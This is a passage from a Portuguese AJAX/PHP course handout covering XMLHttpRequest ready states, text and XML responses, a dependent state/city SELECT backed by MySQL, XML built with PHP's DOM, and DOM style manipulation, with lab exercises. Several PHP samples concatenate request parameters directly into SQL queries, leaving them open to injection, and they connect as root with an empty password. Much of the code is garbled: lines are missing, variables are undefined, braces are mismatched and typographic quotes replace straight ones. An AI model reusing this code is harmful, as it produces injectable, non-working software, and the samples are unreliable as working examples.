Como podemos observar, primeiramente é chamada a função “criaxmlhttp()”, a qual é responsável por criar um objeto “xmlhttp” no qual logo após utilizamos em conjunto com o método OPEN. A função acima demonstra a conexão a um arquivo em PHP chamado arquivo01.php.

Logo após é chamado o método “send” o qual podemos retornar algum tipo de valor para o servidor, mas neste caso simplesmente retornamos como NULL significando assim que não há mais nada a ser realizado no processo.


28

3.7.1 Analisando os 5 estados da requisição

Após termos efetuado a etapa acima nossa função ainda não está concluída, após o documento dinâmico ter sido solicitado ao servidor, este passar por 5 estados de requisição, os quais podem ser observados a seguir e devem ser analisados em nosso algoritmo conforme o tipo de implementação que estamos realizando:

Estados:

0: Não inicializado (unitialized)

1: Carregando (loading)

2: Carregado (loaded)

3: Interativo (interactive)

4: Concluído (completed)

Dependendo da funcionalidade do seu script você utilizará testes para verificar qual tipo de estado em que se encontra a leitura do documento no lado do servidor para o lado do cliente, sendo que para executar este processo precisaremos chamar dois outros métodos em nossa função:

onreadystatechange: método que avalia a situação do documento carregado, e em cada mudança do estado de leitura realiza determinados processos impostos pelo algoritmo.

objeto.readyState: método que retorna o estado de leitura do documento o qual foi solicitada a execução e carregamento.

Logo, devemos então incorporar estes métodos em nossa função, ficando a mesma da seguinte maneira:

function acessa(){

criaxmlhttp();

xmlhttp.open("GET","arquivo01.php,true);

xmlhttp.onreadystatechange = function(){

if(xmlhttp.readyState == 4)

alert(„Dados Carregados!‟);

}

xmlhttp.send(null);

}


29

Observe que neste caso só nos interessa o estado de leitura “4”, ou seja, estamos executando determinada ação somente quando o servidor tiver retornado por completo os dados do documento dinâmico e sua execução estiver sido completada do outro lado.

Laboratório:

Tendo em vista o que foi ensinado até o momento já temos idéia de como são analisadas as requisições em Ajax de uma forma macro.

Elabore um script aproveitando as funções vistas anteriormente de forma que seja solicitada a execução de um script dinâmico em no servidor e enquanto este não estiver completamente carregado seja exibida em uma DIV a mensagem: “Aguarde: carregando...”

3.8 Verificando os dados retornados pelo servidor:

Os dados que foram lidos pelo Javascript na conexão assíncrona são retornados pelo servidor de duas formas:

Formato Texto (simples);

Formato XML (mais organizado, porem mais complexo);

Como teremos um capitulo introdutório ao XML, iremos primeiramente tratar os dados recebidos em forma de texto, mas para isso teremos que implementar um script simples que fará o papel do nosso já mencionado “arquivo01.php” responsável por retornar os dados solicitados ao servidor.

Crie um novo arquivo e salve-o no mesmo diretório que o arquivo HTML e JS que estamos utilizando. Nomeie-o como “arquivo01.php”.

Este arquivo conterá simplesmente a seguinte linha:

<?php

echo “Curso de AJAX”;

?>

3.9 Retornos em texto simples:

Para realizamos a leitura dos dados passados do servidor para o cliente no caso simples, ou seja, formato texto teremos de criar uma terceira função responsável por coletar e interpretar esses dados, dando assim o tratamento necessário a eles conforme a nossa necessidade.


30

Quando tratamos de dados em formato texto temos um método chamado “responseText” onde ficam armazenados todos os dados que foram retornados do servidor no momento de execução do script solicitado.

Crie então uma nova função a qual chamaremos de monta(), ficando ela como mostrado abaixo:

function monta(){

var dados = xmlhttp.responseText;

}

Como você pode observar é criada uma variável “dados” na qual o método responseText é chamado em conjunto com o objeto já criado anteriormente xmlhttp.

Todos os dados retornados pelo servidor estão agora armazenados dentro desta variável, podendo ser tratados como uma variável simples Javascript.

Criaremos no mesmo documento uma DIV com o nome de CONTEUDO e injetaremos dentro dela o conteúdo retornado pelo servidor:

function monta(){


document.getElementById(“CONTEUDO”).innerHTML = dados;

}

Desta forma deveremos simplesmente chamar esta função dentro da nossa já implementada função acessa(), ficando a mesma disponibilizada da seguinte forma:

function acessa(){

criaxmlhttp();

xmlhttp.open("GET","arquivo01.php”,true);


if(xmlhttp.readyState == 4){

monta();

else

document.getElementById(“CONTEUDO”).innerHTML =

"Carregando...";

}


31

xmlhttp.send(null);

}

ATENÇÃO: nunca se esqueça de finalizar a função acessa() com o método xmlhttp.send, pois caso contrário o servidor fica aguardando uma finalização da conexão assíncrona e não retorna os dados para o browser.

DICA: da mesma maneira que você solicita a execução de um arquivo ao servidor, você pode passar para eles variáveis que serão recebidas do outro lado pelo método que você as enviou, veja o exemplo:

xmlhttp.open(“GET”,”arquivo01.php?id_pessoa=”+15,true);

Só não se esqueça de setar o método correto acima para que o script interprete e receba as variáveis enviadas pelo Javascript no momento de execução.

Exemplo:

Utilizando um pouco mais de manipulação de elementos em DOM, realize o seguinte exercício:

Monte um documento em HTML que possua dois componentes do tipo SELECT em um formulário, sendo que no primeiro serão listados alguns estados brasileiros e no outro ao selecionar-se o estado serão apresentadas as respectivas cidades deste estado, conforme mostrado na imagem abaixo:

Solução:

Para resolver este exercício você necessitará de 4 arquivos:

cidades.php: arquivo onde ficará o formulário HTML.

ajax01.js: Java script que será responsável pela execução assíncrona do arquivo dinâmico no servidor e recuperação dos dados para o cliente.


32

ajax01.php: arquivo dinâmico que será executado pelo Ajax no servidor.

conexão.php: arquivo simples em php que simplesmente fará a conexão com o banco de dados.

Primeiro crie as tabelas no banco de dados usando a seguinte query:

CREATE TABLE IF NOT EXISTS estados (

id_estado int(10) unsigned NOT NULL auto_increment,

sigla char(2) ,

nome varchar(50) ,

PRIMARY KEY (id_estado)

);

INSERT INTO estados VALUES("1", "RS", "Rio Grande do Sul");

INSERT INTO estados VALUES("2", "SC", "Santa Catarina");

INSERT INTO estados VALUES("4", "SP", "São Paulo");

INSERT INTO estados VALUES("5", "RJ", "Rio de Janeiro");

CREATE TABLE IF NOT EXISTS cidades (

id_cidade int(10) unsigned NOT NULL auto_increment,

id_estado int(10) unsigned ,

nome varchar(100) ,

PRIMARY KEY (id_cidade)

);

INSERT INTO cidades VALUES("1", "1", "Porto Alegre");

INSERT INTO cidades VALUES("2", "1", "Alvorada");

INSERT INTO cidades VALUES("3", "1", "Viamão");

INSERT INTO cidades VALUES("4", "2", "Sombrio");

INSERT INTO cidades VALUES("5", "2", "São João do Sul");

INSERT INTO cidades VALUES("6", "4", "São Paulo");

INSERT INTO cidades VALUES("7", "5", "Rio de Janeiro");

Agora que possuímos os dados que serão acessados no banco de dados, criamos o arquivo de conexão com o banco:

CONEXAO.PHP


33

<?php

mysql_connect('localhost','root','') or die(mysql_error());

mysql_select_db('alfamidia');

?>

A seguir o arquivo CIDADES.PHP o qual será a interface para o usuário:

<?php

include('includes/conexao.php');

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"

/>

<script src="ajax01.js" type="text/javascript">

</script>

<title>Exercicio Ajax</title>

</head>

<body>

<form id="form1" name="form1" method="post" action="">

<table width="400" border="0" cellspacing="2" cellpadding="2">

<tr>

<td colspan="2">Formulário:</td>

</tr>

<tr>

<td width="55">Estado:</td>

<td width="331">

<select name="estado" id="estado"

onchange="acessa('cidades',this.value);" >

<option value="00">Selecione</option>

<?php

$sql = "select * from estados order by nome";

$rs = mysql_query($sql) or die(mysql_error());


34

$total = mysql_num_rows($rs);

for($x = 0; $x < $total; $x++)

{

$id_estado = mysql_result($rs, $x, 'id_estado');

$nome = mysql_result($rs, $x, 'nome');

?>

<option value="<?php echo $id_estado; ?>"><?php echo $nome;

?></option>

<?php

}

?>

</select>

</td>

</tr>

<tr>

<td>Cidade:</td>

<td>

<select name="cidades" id="cidades">

</select>

</td>

</tr>

</table>

</form>

</body>

</html>

Agora que possuímos o documento que será apresentado ao clientes, criaremos as duas ultimas camadas restantes. O processo de leitura em Ajax consiste em solicitarmos através de uma função em Java script que um arquivo em php seja executado no servidor, iremos então através dessa execução enviarmos um valor (id_estado) para o servidor e o mesmo executar uma query no banco de dados retornando as cidades respectivas do estado selecionado.

AJAX01.PHP

<?php

include('conexao.php');


35

$id_estado = $_GET["id_estado"];

$sql = "select * from cidades where id_estado = $id_estado";



$resultado = '';

for($x = 0; $x < $total; $x++){

$resultado .= utf8_encode(mysql_result($rs, $x, 'nome')) . ',';

}

echo $resultado;

?>

Observe que devido a codificação de caracteres é recomendável converter a string enviada para utf8 antes de prosseguir com a operação.

Por fim, iremos montar o arquivo em Java script que realizará a requisição ao servidor:

AJAX01.JS

function criaxmlhttp(){

try{

xmlhttp = new XMLHttpRequest();

}catch(e){

try{

xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

}catch(e1){

try{

xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");

}catch(e2){

xmlhttp = false;

document.write("Navegador não da suporte a Ajax!");

}

}

}

}


36

function acessa(elemento,valor){

criaxmlhttp();

xmlhttp.open("GET","ajax01.php?id_estado="+valor,true);


if(xmlhttp.readyState == 4){

monta(elemento);

}else{

document.getElementById(elemento).innerHTML

="Carregando...";

}

}

xmlhttp.send(null);

}

function monta(elemento){


campo = document.getElementById(elemento);

campo.options.length = 0;

var dados_vet = dados.split(',');

for(i = 0; i < dados_vet.length-1; i++){

campo.options[i] = new Option(dados_vet[i]);

}

}

Devemos neste caso apenas dar uma atenção especial a função monta(), a qual foi modificada para manipular via DOM as propriedades do componente SELECT do formulário que montamos.

De qualquer forma a manipulação por texto é a mais simples e mais usada por Ajax atualmente, sendo que devemos ter domínio e dar a devida importância a manipulação de elementos do documento via DOM.

Laboratório:


37

1. Crie dois selects: O primeiro deve conter uma lista de tipos de filme que seja carregada a partir de um banco de dados. Ao clicar duas vezes sobre o tipos de filme o mesmo deve ser deslocado para o select 2.

2. Crie um select com uma lista de 3 páginas que ao ser alterado mudará o conteúdo de uma div para a página montada com algum parâmetro.

3. Monte uma caixa de texto que pesquise o que for digitado e mostre o que for encontrado em uma tabela em uma div logo abaixo(como um “auto-completar”)

4. Crie uma lista de categorias de produtos que exiba em uma textarea a lista dos produtos desta categoria.

Unidade 4 - Estrutura de um documento XML

Dentre o uso do Ajax, temos como acompanhamento a utilização de uma tecnologia já bem difundida no ambiente web e no desenvolvimento de software, o qual se resume a simplicidade e a eficácia entre a compatibilidade de outras diversas tecnologias do mercado, o XML (eXtensible Markup Language).

O XML consiste em um arquivo parecido com o HTML, porem ao invés de possuir tags com formatação, possui dados.

A sua organização é mais rígida e é imposta por padrões globais, isso se justifica ao fato de o XML ser utilizado seguidamente por dispositivos de baixo poder de armazenamento e processamento (celulares, pda´s, palmtops, etc), o que os impede de realizar o debug do código como ocorre nos computadores domésticos por exemplo.

A estrutura de um documento XML e baseada em TAGS, sendo que possuímos algumas regras básicas para a criação de um documento XML consistente, veja o exemplo abaixo:


38

<?xml version="1.0" encoding="iso-8859-1"?>

<municípios>

<cidades>

<cidade>

<nome>Porto Alegre</nome>

</cidade>

<cidade>

<nome>Viamão</nome>

</cidade>

</cidades>

</municípios>

Onde:

Municípios: TAG root (PAI) do documento, todo documento XML deve possuir uma TAG ROOT, a qual não possui dados, e sim somente filhos (cidades).

Cidades: nodo ou nó filho da tag root “municípios”.

Cidade: nodo ou nó filho da tag “cidades”, e neta da tag root “municípios”, possui um nó irmão (com mesmo nível hierárquico) chamado “cidade”.

O documento XML possui extensão XML, e deve sempre vir acompanhado de um cabeçalho especifico, onde o atributo encoding é opcional.

Ao criar as tags no seu arquivo XML nunca use espaços e acentos ou caracteres especiais.

Os navegadores mais comuns (Internet Explorer e Firefox) possuem uma grande facilidade na interpretação destes arquivos, sendo que erros de sintaxe como mal fechamentos das tags por exemplo acusam erros no navegador, o que gera a seguinte forma de retorno:

Firefox:

Internet Explorer:


39

DICA: a utilização dos arquivos XML é muito comum no ambiente Microsoft, exemplo disso é a nova extensão de documento do Office 2007, onde seguem os padrões antigos, porem com um “X” no final (.*docx, *.xlsx, *.pptx) isso tornou os arquivos mais leves e acessíveis mesmo para quem não possui o Office.

Os documentos XML geralmente são gerados por um arquivo dinâmico, exemplo disso são os arquivos de Feeds (RSS), onde vemos noticias e informações incorporadas e atualizadas a cada minuto por um determinado site.

Como estamos trabalhando com Ajax e PHP veremos então uma forma prática de criarmos um arquivo XML utilizando de DOM e PHP juntos.

Laboratório.

1. Crie um XML que reproduza a estrutura de notas de alunos

2. Crie um XML que reproduza a estrutura de cadastros de produtos

3. Crie um XML que reproduza o cadastro de clientes

4. Crie um XML que demonstre uma tabela de classificação de times de futebol

5. Crie um XML que represente a cotação de várias moedas

4.2 Montando um documento XML com DOM e PHP.

As versões mais recentes do PHP possuem uma classe chamada domDocument a qual permite manipularmos uma serie de elementos de documentos com o PHP. É com esta classe que poderemos elaborar a montagem de um arquivo XML pelo nossos script dinâmico.

Primeiramente iremos criar um documento novo em PHP e o salvaremos como exemplo01_xml.php.


40

Como mencionado anteriormente utilizaremos um classe embutida no php que nos permite a manipulação de elementos com DOM, logo necessitamos instanciar esta classe em um objeto:

$dom = new domDocument;

Para criarmos uma nova tag, no nosso caso a primeira a ser criada será definiada por nos como tag ROOT do documento, precisaremos chamar o método cretaElement, que possui a seguinte sintaxe:

Objeto.createElement(„nome‟,‟valor‟);

Ou seja,

$municipios = $dom->createElement(„municipios‟);

Toda vez que criamos um elemento, este ficará solto no ambiente até que seja designado um pai a este nodo, para realizarmos esta atribuição necessitamos de um outro método chamado appendChild, que possui a seguinte sintaxe:

Objeto.appendChild(„nodo‟);

Ou seja,

$dom->appendChild($municipios);

Por fim deveremos salvar o XML criado em um novo documento, porem com extensão apropriada:

$dom->save(„exemplo01_xml.xml);

Um script básico para a criação do XML se resume como mostrado a seguir:

EXEMPLO01_XML.PHP

<?php


$municipios = $dom->createElement('municipios');


$dom->save('exemplo01_xml.xml');

?>

Quando executarmos o documento gerado pelo nosso arquivo php obteremos a seguinte apresentação:


41

Como não possuímos nenhum dado dentro da TAG municípios o próprio PHP trata de resumi-la, sendo que este processo não é obrigatório, mas é tratado como uma certa elegância nos padrões de leitura.

Observe agora que se quisermos dar continuidade a criação do XML até que tenhamos estrutura semelhando a apresentada no inicio deste capitulo deveremos atentar para um detalhe:


O Objeto $dom é quem recebe como filho a tag municípios.

Logo, se criarmos outro elemento chamado “cidades”, quem receberá o elemento como filho não será o objeto $dom e sim o objeto $municipios:

$cidades = $dom->createElement(„cidades‟);

$municipios->appendChild($cidades);

Faremos o mesmo processo com os outros elementos:

$cidade = $dom->createElement('cidade');

$cidades->appendChild($cidade);

Por fim, criaremos os últimos elementos irmão filhos de “cidade”:

$nome = $dom->createElement('nome','Porto Alegre');

$cidade->appendChild($nome);

Veja abaixo o código completo do algoritmo em php:

<?php


$municipios = $dom->createElement('municipios');


$cidades = $dom->createElement('cidades');

$municipios->appendChild($cidades);

$cidade = $dom->createElement('cidade');

$cidades->appendChild($cidade);


42

$nome = $dom->createElement('nome','Porto Alegre');

$cidade->appendChild($nome);

$dom->save('exemplo01_xml.xml');

?>

O resultado será o seguinte:

A maneira de implementação do PHP em XML é bem simples e funcional, lembrando que podemos fazer algo mais robusto e dinâmico interagindo diretamente com o banco de dados.

Laboratório:

Como mencionado anteriormente podemos implementar um XML através de retorno de dados vindos do banco de dados:

1. Implemente um algoritmo em PHP que retorne os dados da tabela de cidades da base de dados já criada anteriormente.

Veja uma forma de interpretação do diagrama abaixo:


43

Como mencionado anteriormente podemos implementar um XML através de retorno de dados vindos do banco de dados:

2. Monte dinamicamente um XML que represente uma receita

3. Crie e alimente um XML dinamicamente que mostre um organograma simples de uma empresa

4. Crie e alimente um XML dinamicamente que represente um currículo

5. Crie e alimente um XML dinamicamente que mostre e hierarquia de pastas de um computador

4.3 Montando um XML em PHP de forma Textual

É muito comum vermos arquivos em versões anteriores do PHP utilizando a forma textual (strings) para retornar e gerar arquivos em XML pelo script.

Esta forma apesar de não muito adequada, pois é bem sujeita a erros, é ainda muito utilizada e consistem em através de Loops ou somente atribuição armazenar a sintaxe do arquivo XML em uma variável PHP.

Veja um exemplo abaixo:

<?php

$xml = '<?xml version="1.0" encoding="iso-8859-1"?>';

$xml .= '<municípios>';

$xml .= '<cidades>';


44

$xml .= '<cidade>';

$xml .= '<nome>Porto Alegre</nome>';

$xml .= '</cidade>';

$xml .= '<cidade>';

$xml .= '<nome>Viamao</nome>';

$xml .= '</cidade>';

$xml .= '</cidades>';

$xml .= '</municípios>';

echo $xml;

?>

4.4 Retorno do conteúdo em XML para o Ajax

Após termos adotado uma forma de gerarmos o arquivo XML com os dados que devem ser acessados pelo Javascript, teremos que de alguma forma realizar a leitura destes dados pelo navegador.

Vimos anteriormente que a através do método obj.responseText, os dados retornados em formato TEXTO podem ser lidos e tratados facilmente pelo nosso script.

Agora utilizaremos outro método especifico para a leitura dos dados XML, o obj.responseXML, onde teremos mais facilidade em navegar pela estrutura do documento, podendo acessar diretamente níveis hierárquicos dentro do mesmo e atributos de cada TAG existente dentro do XML.

Veja um exemplo prático a seguie e logo acompanhe a analise, lembrando que aproveitaremos a nossa função já implementada (criaxmlhttp()).

function leXML(url) {

criaxmlhttp();

document.getElementById("cabecalho").innerHTML = "Carregando …";

xmlhttp.open("POST", url, true);

xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-

urlencoded");

xmlhttp.setRequestHeader("Cache-Control", "no-store, no-cache, must-

revalidate");

xmlhttp.onreadystatechange=function() {

if (xmlhttp.readyState == 4) {


45

if (xmlhttp.status == 200) {

montaResultado();

}

}

}

xmlhttp.send(null);

}

Observe que alguns novos elementos estão disponíveis na sintaxe da função que lê nosso documento XML.

O método setRequestHeader é responsável por inserir informações adicionais no cabeçalho do documento lido passando alguns parâmetros para variáveis já definidas na estrutura:

xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-

urlencoded");

xmlhttp.setRequestHeader("Cache-Control", "no-store, no-cache, must-

revalidate");

Na primeira linha estamos atribuindo o valor de Aplicação ao tipo de conteúdo lido, já na segunda o script seta o Controle de Cache do navegador como “sem armazenamento, Sem cachê, Revalidavel, ou seja, estamos limpando o cachê do navegador para executar a leitura desses dados, evitando assim que os mesmos sejam reaproveitados pelo browser.

Logo a seguir você pode observar que nosso teste de leitura do documento acesado efetua um novo teste com o método xmlhttp.status, onde estamos verificando se o mesmo é igual a 200, ou seja, se a página requisitada foi encontrada pelo servidor. O valor 200 significa página encontrada, podendo ser trocado por outros valores que significam outros estados de acessibilidade do documento.

Veja a tabela a seguir:

Código Significado Descrição

200 Ready Documento encontrado e pronto para ser lido.

400 Bad Request Requisição não compreendida pelo servidor.

401 Unauthorized A requisição só pode ser


46

retornada mediante autenticação.

403 Forbidden O objeto não tem autorização de realizar a requisição.

404 Not Found Documento não encontrado.

405 Method not Allowed

O método utilizado para executar a requisição não é permitido pelo servidor ou pelo documento.

500 Internal Server Error O servidor retornou um erro ao tentar responder a requisição.

Vamos agora implementar uma função capaz de navegar por cada elemento do documento XML que lemos durante a requisição:

function montaResultado(){

var dados_xml = xmlhttp.responseXML;

// Recupera todos os elementos categoria do objeto XML

var cidades = dados_xml.getElementsByTagName("cidades");

for (var i = 0; i < cidades.length; i++) {

// Atribui a cidade cada elemento

cidade = cidades[i];

for(var x = 0; x < cidade.childNodes.length; x++){

codigo =

cidade.getElementsByTagName("codigo")[x].firstChild.nodeValue;

descricao =

cidade.getElementsByTagName("descricao")[x].firstChild.nodeValue;

// Chama a função que cria as linhas da tabela

document.write(codigo);

document.write(descricao);

document.write("<hr>");


47

}

}

}

Como podemos observar o resultado retornado pelo documento requisitado foi armazenado na variável “dados_xml’ através do método já mencionado “responseXML”.

Inicialmente o script realizar a busca de um elemento pelo nome de sua TAG, utilizando-se do método “getElementByTagName”, logo após da mesma forma que fazíamos com o documento em formato texto, é realizado um loop que percorre os nodos filhos dessa tag, e atribui esses valores as variáveis “código” e “descrição”.

Neste caso é importante ressaltar a utilização do método “childNodes”, o qual refere-se aos nodos filhos da tag selecionada.

Veja abaixo alguns outros métodos importantes no Java Script que facilitam bastante a navegação por um documento XML.

.childNodes: retorna um vetor com o índice de nós (nodos) do elemento referenciado.

.firstChild: retorna o primeiro nodo filho do elemento referenciado.

.lastChild: retorno o ultimo nodo filho do elemento referenciado.

.nodeValue: recupera o valor de um nodo.

.parentNode: retorna o nodo pai do elemento referenciado.

.nextSibiling: retorna o elemento irmão localizado posteriormente ao elemento atual.

.previousSibiling: retorna o elemento irmão localizado anteriormente ao elemento atual.

.getElementsByTagName: retorna um vetor contendo a relação dos nodos filhos do elemento referenciado.

.hasChildNodes: retorna um valor booleano (true ou false) caso o elemento possua nodos filhos.

.getAttribute: retorna o valor desejado de um atributo do elemento referenciado.

Laboratório:

1. Crie, alimente e retorne o conteúdo de um XML que mostre uma seqüência de jogos do campeonato brasileiro com seus resultados

2. Crie, alimente e retorne o conteúdo de um XML que represente os horários de linhas do ônibus intermunicipais

3. Crie, alimente e retorne o conteúdo de um XML que exiba a configuração de alguns notebooks

4. Crie, alimente e retorne o conteúdo de um XML que demonstre a lista de compras de usuários em um e-commerce


48

5. Crie, alimente e retorne o conteúdo de um XML que represente a discografia de determinados artistas

49

Unidade 5 - Requisições dinâmicas em Ajax ao PHP

5.1 Criando um documento XML textual com conexão ao banco de dados

Iremos agora unir o que vimos até o momento, sendo que os dados do documento XML que iremos montar serão acessados diretamente do servidor.

A lógica do processo é simples, o usuário acessara um documento HTML que possuirá um componente responsável por executar um script dinâmico em PHP no servidor, este script por usa vez irá gerar um documento em XML e retornar esses dados ao usuário.

Para realizar estas atividades utilizaremos um template muito conhecido na área de PHP chamado templatepower, que pode ser facilmente localizado na Internet.

Em primeiro lugar vamos criar um novo documento HTML o qual possuirá simplesmente dois menus de seleção dentro de um formulário. Observe:

Site_cidades.htm

<select name="id_uf" onChange="Dados(this.value);" class="formulario3">

<option value="0">--Selecione o estado >></option>



<option value="{id_uf}" {pselect}>{descricao_abreviada}</option>

50



</select>

<select name="listCidades" class="formulario3">

<option id="opcoes" value="0">--Primeiro selecione o estado--

</option>

</select>

O processo todo será realizado no momento em que clicarmos no menu estado formulário.

Vamos antes montar o arquivo php que interpretará este documento HTML realizando a conversação com o banco de dados e montando o MENU dos estados, não esquecendo de incluirmos dois arquivos (conexão.php e a classe TemplatePower, responsável pelo sistema de uso de templates):

Site_cidades.php

<?php

include('class.TemplatePower.inc.php');

include('conexao.php');

$sql = "select estados.* from estados order by estados.nome";



$tpl = new TemplatePower( "./site_cidades.htm" );

$tpl->prepare();

for($x = 0; $x < $total; $x++){

$tpl->newBlock('LOOP-UF');


51

$tpl->assign('id_uf',mysql_result($rs, $x, 'id_estado'));

$tpl->assign('descricao_abreviada',mysql_result($rs, $x, 'nome'));

}

$tpl->gotoBlock('_ROOT');

$tpl->printToScreen();

?>

Após este processo implementaremos agora o ultimo arquivo dinâmico, o documento que será responsável por retornar os dados do banco de dados em formato XML para o navegador.

Ajax_cidades.php

include_once('conexao.php');

$pEstado = $_POST["estado"];

$sql = "select * from cidades where id_uf = ".$pEstado." order by nome";



//VERIFICA SE VOLTOU ALGO

if($total > 0){

$xml = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n";

$xml .= "<cidades>\n";

for($x = 0; $x < $total; $x++){

$xml .= "<cidade>\n";

$xml .= "<codigo>".mysql_result($rs, $x, 'id_cidade')

."</codigo>\n";

$xml .= "<descricao>".mysql_result($rs, $x,

'descricao')."</descricao>\n";

$xml .= "</cidade>\n";

}

$xml.= "</cidades>\n";

header("Content-type: application/xml; charset=iso-8859-1");


52

}

echo $xml;

?>

Se você executar este documento no navegador, poderá observar que ele retorna um documento XML em formato Textual, ou seja, ao longo da implementação criamos uma string que recebia os valores do XML e os atribuía a si mesmo, bastando no final escreve-la na tela.

O documento XML retornado é como esse, porem populado com os dados do banco:

<cidades>

<cidade>

<id_cidade></id_cidade>

<descricao></descricao>

</cidade>

<cidade>

<id_cidade></id_cidade>

<descricao></descricao>

</cidade>

</cidades>

Criaremos então um novo arquivo em .JS e nele armazenaremos as nossas funções, só não esqueça de incluir este arquivo no documento HTML após a sua conclusão.

Ajax_cidades.js

function Dados(valor) {

//verifica se o browser tem suporte a ajax

try {

ajax = new ActiveXObject("Microsoft.XMLHTTP");

}

catch(e) {

try {


53

ajax = new ActiveXObject("Msxml2.XMLHTTP");

}

catch(ex) {

try {

ajax = new XMLHttpRequest();

}

catch(exc) {

alert("Esse browser não tem recursos para uso do Ajax");

ajax = null;

}

}

}

if(ajax) {

//deixa apenas o elemento 1 no option, os outros são excluídos

document.forms[0].listCidades.options.length = 1;

idOpcao = document.getElementById("opcoes");

ajax.open("POST", "../php/ajax_cidades.php", true);

ajax.setRequestHeader("Content-Type", "application/x-www-form-

urlencoded");

ajax.onreadystatechange = function() {

//enquanto estiver processando...emite a msg de carregando

if(ajax.readyState == 1) {

idOpcao.innerHTML = "Carregando...!";

}

//após ser processado - chama função processXML que vai varrer

os dados

if(ajax.readyState == 4 ) {

if(ajax.responseXML) {

processXML(ajax.responseXML);

}


54

else {

//caso não seja um arquivo XML emite a mensagem abaixo

idOpcao.innerHTML = "--Primeiro selecione o estado--";

}

}

}

//passa o código do estado escolhido

var params = "estado="+valor;

ajax.send(params);

}

}

Como você pode observar fizemos a junção das conexões e componentes de objetos em XMLHttp em uma mesma função desta vez, esta sistemática é opcional e você pode optar por manter a utilização de funções separadas, como foi o caso de usarmos anteriormente a função “criaxmlhttp()” para o Ajax.

Por fim, logo após esta função iremos disponibilizar no mesmo arquivo a função responsável por montar o menu de opções com as cidades listadas conforme o estado escolhido.

function processXML(obj){

//pega a tag cidade

var dataArray = obj.getElementsByTagName("cidade");

//total de elementos contidos na tag cidade

if(dataArray.length > 0) {

//percorre o arquivo XML paara extrair os dados

for(var i = 0 ; i < dataArray.length ; i++) {

var item = dataArray[i];

//contéudo dos campos no arquivo XML

var codigo =

item.getElementsByTagName("codigo")[0].firstChild.nodeValue;

var descricao =

item.getElementsByTagName("descricao")[0].firstChild.nodeValue;

idOpcao.innerHTML = "--Selecione uma das opções abaixo--";


55

//cria um novo option dinamicamente

var novo = document.createElement("option");

//atribui um ID a esse elemento

novo.setAttribute("id", "opcoes");

//atribui um valor

novo.value = codigo;

//atribui um texto

novo.text = descricao;

//finalmente adiciona o novo elemento

document.forms[0].listCidades.options.add(novo);

}

}else {

//caso o XML volte vazio, printa a mensagem abaixo

idOpcao.innerHTML = "--Primeiro selecione o estado--";

}

}

A estrutura é muito parecida com o que vimos no capitulo anterior, sendo que devemos dar atenção aos métodos de Dom responsáveis pela montagem do menu de listagem no HTML.

Exemplo:

document.forms[0].listCidades.options.add(elemento);

A sintaxe é simples, mostrando que apenas da mesma maneira que navegamos por níveis no XML devemos acessar os elementos do documento. Como mencionado anteriormente o domínio do DOM é essencial para a realização de bons trabalhos em Ajax.

O resultado do seu script será como mostrado na imagem abaixo:


56

Laboratório:

1. Crie um formulário como o do Twitter, que ao postar o conteúdo postado apareça logo abaixo

2. Crie uma lista de notícias que seja exibida dinamicamente conforme a tela abaixo


57


58

Unidade 6 - Manipulando o DOM em Javascript para recursos com Ajax

6.1 Acesso aos estilos dos componentes do documento

Esta unidade tem como fins introdutórios os capítulos finais deste curso, como mencionado desde o inicio o domínio de DOM é essencial para aproveitarmos ao máximo os recursos do Java Script em conjunto com Ajax.

Como você já deve saber o acesso aos estilos dos componentes do documento web é feito principalmente por folhas de estilos, o CSS. Estas propriedades podem também ser acessadas via DOM, dando mais ênfase aos recursos que queremos disponibilizar ao documento para o usuário.

Veja o documento a seguir:

<html>

<head>

</head>

<body>

<div id="quadro">

Curso de Ajax

</div>

</body>

</html>

Este código simplesmente cria um documento HTML composto por uma DIV que possui um conteúdo. As propriedades dessa DIV podem ser modificadas por um SELETOR no arquivo CSS deste documento. Entretanto, como a mesma possui um nome (ID) podemos acessa-la facilmente pelo DOM do Javascript.

Caso quiséssemos atribuir uma borda nela por exemplo:

elemento = document.getElementById("quadro");

elemento.style.border= '1px #FF0000 dashed';


59

Como você pode observar primeiro devemos procurar o elemento dentro do documento com o método “getElementById”. Após isso armazenamos o mesmo dentro de uma variável, e a seguir acessamos todo e qualquer propriedade deste elemento por níveis.


elemento.style.border = '1px #FF0000 dashed';

elemento.style.width = '100px';

elemento.style.position = 'absolute';

elemento.style.background = '#FF0000';

elemento.style.color = '#FFFFFF';

Consultando um guia das principais tags em CSS voce pode melhorar as suas apresentações em Ajax, atribuindo cores e comportamentos conforme o resultado retornado.

Vamos agora atribuir essas propriedades à uma função e executa-la no ato de carregamento do documento.

<html>

<head>

<script type="text/javascript">

function estilo(){


elemento.style.border = '1px #FF0000 dashed';

elemento.style.width = '100px';

elemento.style.position = 'absolute';

elemento.style.background = '#FF0000';

elemento.style.color = '#FFFFFF';

}

</script>

</head>

<body onload="estilo();">

<div id="quadro">

Curso de Ajax

</div>


60

</body>

</html>

Laboratório.

1. Crie os seguintes formulários e funções que permitam manipular suas características de estilos:


61

2. 2.Cria as seguintes tabelas e funções que permitam manipular suas características de estilos.


62

6.2 Bibliotecas livres: a facilidade na manipulação de documentos

A facilidade em trabalhar com desenvolvimento web se dá principalmente a termos a nossa disposição milhares de conteúdos livres disponíveis na internet, sendo que muitos desenvolvedores não se contentam somente a desenvolver soluções com as ferramentas e linguagens disponíveis, e acabam por querer melhorar a forma de desenvolvimento como um todo visando ganhar tempo e melhor a eficácia das suas aplicações.

Exemplo disso e a utilização de uma biblioteca rápida e concisa que simplifica a escrita da codificação Java Script no HTML, a JQuery.


63

Disponível para download no endereço: http://jquery.com/, o próprio slogan da biblioteca já diz: Escreva menos, faça mais. Esta biblioteca se baseia em inúmeras expressões regulares que realizam o teste de cada sintaxe disponível na linguagem Java Script e permite que estes comandos sejam resumidos no código, sendo depois trocados por suas verdadeiras codificações pela própria biblioteca.

Existem diversas outras bibliotecas concorrentes, sendo que dentre elas podemos citar: Prototype, Dojo, Yahoo! UI, entretanto a JQuery destaca-se pela sua facilidade de uso e pelo seu tamanho:

19Kb já com o modulo de Ajax!

